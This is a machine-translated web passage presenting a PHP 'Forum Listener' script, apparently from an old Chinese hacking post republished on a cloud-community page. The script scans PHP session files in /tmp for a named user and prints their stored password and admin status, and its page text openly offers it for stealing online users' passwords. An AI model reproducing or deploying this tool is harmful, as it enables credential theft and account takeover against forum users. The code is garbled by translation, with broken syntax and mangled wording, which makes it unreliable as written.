such as: name|s:4: "Tasm";p asswd|s:6: "111111"; mode|s:1: "1", also know the location of the session stored, and can upload files, so, then did a small hacker, online friends password can be glance, Oh:
?
function Submit1 () {
Global $username;
Print "<title> Forum listener </title>";
$i = 0;
if ($username = = "Tasm" | | $username = = "Tasm")
{
Print "You're too dark, are you?" Even me, you check? ";
Return
}
$path = "/tmp/";
$d = Dir ($path);
while ($entry = $d->read ()) {
if (substr ($entry, 0,4) = = "Sess") {
$entry = $path. $entry;
$ary = @file ($entry);
if (!empty ($ary [0])) {
$ary = Explode (";", $ary [0]);
$name = Explode (":", $ary [0]);
if ($name [2]== "\" ". $username." \""){
$passwd = Explode (":", $ary [1]);
$mode =explode (":", $ary [3]);
Print "user pseudonym:". $name [2]. " <br> use Password: ". $passwd [2]." <br> use mode: ";
if ($mode [1]==1)
Print "<font color=red> admin </font>";
Else
Print "General user";
Print "<br><br> stealing someone else's password is immoral, please little for <br>";
$i = 1;
Break
}}}}
if (! $i)
Print "User:". $username. " Are you really online? If you are sure, <a href= ' Javascript:history.go ( -1) ' > Please come again </a>, do not play more space! ";
$d->close ();
}
function Login () {
?>
<title> Forum Listener </title>
<meta http-equiv= "Content-type" content= "text/html; charset=gb2312 ">
<body bgcolor= "#FFFFFF" >
<div align= "center" >
<p> Forum Listener </p>
<p> </p>
<table width= "border=" 0 "cellspacing=" 0 "cellpadding=" 0 ">
<tr>
<TD colspan= "2" > when you see a user online, you want to see his password, how do you do it? </td>
</tr>
<tr>
<TD colspan= "2" > Let me tell you this: just use this program. </td>
</tr>
<tr>
<TD colspan= "2" ><font color=red> solemnly affirm: This procedure is free procedure, by it caused any loss I cover is not responsible. </font>
<br> but this problem may soon be blocked, a bit or do not advertise the use of it. </td>
</tr>
</table>
<form name= "Form1" method= "Post" action= "<?print $PHP _self?>" >
<p> Please enter the username you want to search:<br>
<input type= "text" name= "username" >
</p>
<p>
<input type= "Submit" Name= "Submit1" value= "I agree with the above statement, start looking for" >
</p>
</form>
<p> </p>
</div>
</body>
?
}
--------------Main ()
if ($submit 1)
Submit1 ();
Else
Login ();
?>
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.